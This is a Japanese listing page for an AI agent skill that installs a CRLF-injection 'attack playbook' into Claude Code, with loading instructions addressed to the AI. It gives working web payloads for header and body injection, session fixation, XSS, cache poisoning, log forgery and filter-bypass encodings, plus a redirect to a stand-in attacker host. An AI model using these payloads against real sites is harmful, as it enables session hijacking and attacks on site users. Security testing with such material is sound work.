crlf-injection について
HTTPレスポンスのCRLFインジェクションを発見・評価するためのセキュリティテストガイドです。ヘッダーや本文への注入、エンコードによるフィルター回避、XSSやキャッシュポイズニング、セッション固定のリスクを説明します。
主な機能
- 01HTTPレスポンスヘッダーの注入テスト
- 02二重CRLFによる本文注入
- 03エンコードとフィルターの回避
- 04XSSとキャッシュポイズニングの攻撃経路
- 05ログインジェクションの確認
活用シーン
- 01リダイレクトパラメーターのヘッダー注入テスト
- 02レスポンス分割によるXSSの確認
- 03キャッシュ可能なレスポンスのポイズニング評価
- 04ログ項目への偽装エントリーの確認
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill crlf-injectionインストール後、Claude Code で/crlf-injectionを入力して読み込まれたか確認します。
詳細
スキル:CRLF インジェクション — エキスパート向け攻撃プレイブック
AI 読み込み指示:CRLF インジェクション(HTTP レスポンス分割)技術。ヘッダーインジェクション、二重 CRLF によるレスポンスボディインジェクション、XSS へのエスカレーション、キャッシュポイズニング、エンコーディング回避を扱います。スキャナーに見落とされがちですが、XSS、セッション固定、キャッシュ攻撃につながります。
0. 関連ルーティング
- 対象が Java サービス で、
%0D%0A/\r\nエンコーディングが WAF にブロックされる場合は、ghost-bits-cast-attack を参照してください。瘍(U+760D、下位バイト\r)と瘊(U+760A、下位バイト\n)に置き換えることで、Angus Mail / Jakarta Mail SMTP、Apache HttpClient ヘッダー、JDK HttpServer レスポンス、ActiveJ HTTP を通じて実際の CRLF を注入し、Jira CVE-2025-57733 と JDK CVE-2026-21933 のクラスの悪用を再び可能にします。
1. 基本概念
CRLF = \r\n(キャリッジリターン + ラインフィード、%0D%0A)。HTTP ヘッダーは CRLF で区切られます。ユーザー入力がサニタイズされずにレスポンスヘッダーへ反映される場合、CRLF 文字を注入すると、新しいヘッダーやレスポンスボディさえも作成できます。
Normal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers — Location + injected Set-Cookie
2. 検出
基本プローブ
%0D%0ANew-Header:injected
# In URL parameter:
https://target.com/redirect?url=%0D%0AX-Injected:true
# Check response headers for "X-Injected: true"
二重 CRLF — ボディインジェクション
連続する 2 つの CRLF シーケンスでヘッダーが終了し、ボディが始まります。
%0D%0A%0D%0A<script>alert(1)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(1)</script>
3. 悪用シナリオ
Set-Cookie によるセッション固定
%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
レスポンスボディ経由の XSS
%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>
キャッシュポイズニング
CDN やプロキシがレスポンスをキャッシュする場合、注入されたヘッダーやボディがすべてのユーザーに配信されます。
GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>
ログインジェクション
ログに表示されるフィールド(User-Agent、Referer)内の CRLF を使って、ログエントリーを偽造できます。
User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 200
4. フィルター回避
| フィルター | 回避方法 |
|---|---|
%0D%0A をブロックする | %0D 単独、%0A 単独、または %E5%98%8A%E5%98%8D(Unicode)を試します |
| URL を 1 回デコードする | 二重エンコードします:%250D%250A |
\r\n を文字列として除去する | URL エンコード形式を使います |
| 値の中だけをブロックする | パラメーター名に注入します |
# Unicode/UTF-8 bypass:
%E5%98%8A%E5%98%8D → decoded as CRLF in some parsers
# Double URL encoding:
%250D%250A → server decodes to %0D%0A → interpreted as CRLF
# Partial injection (LF only):
%0A → some servers accept LF without CR
5. 実際の悪用チェーン
CRLF + セッション固定
# Inject Set-Cookie via CRLF in redirect parameter:
?url=%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
# Result:
HTTP/1.1 302 Found
Location: /page
Set-Cookie: PHPSESSID=attacker_controlled_session_id
# Victim uses attacker's session → attacker hijacks after login
CRLF → 二重 CRLF ボディインジェクションによる XSS
# Two CRLF sequences end headers and inject response body:
?url=%0D%0A%0D%0A<script>alert(document.cookie)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(document.cookie)</script>
302 Location 内の CRLF → リダイレクト乗っ取り
# Inject new Location header before the original:
?url=%0D%0ALocation:http://evil.com%0D%0A%0D%0A
# Some servers use the LAST Location header → redirect to evil.com
6. よくある脆弱なパターン
// PHP — header() with user input (PHP < 5.1.2 vulnerable):
header("Location: " . $_GET['url']);
// Python — redirect with unsanitized input:
return redirect(request.args.get('next'))
// Node.js — setHeader with user input:
res.setHeader('X-Custom', userInput);
// Java — response.setHeader with user input:
response.setHeader("Location", request.getParameter("url"));
7. テストチェックリスト
□ Inject %0D%0A in redirect URL parameters
□ Inject %0D%0A in Set-Cookie name/value paths
□ Try double CRLF for body injection → XSS
□ Test encoding bypasses: double-encode, Unicode (%E5%98%8D%E5%98%8A), LF-only (%0A)
□ Check if response is cacheable → cache poisoning
□ Test in User-Agent / Referer for log injection
□ Test CRLF + Set-Cookie for session fixation
□ Verify if Location header can be injected in 302 responses
コメント
Markdown 対応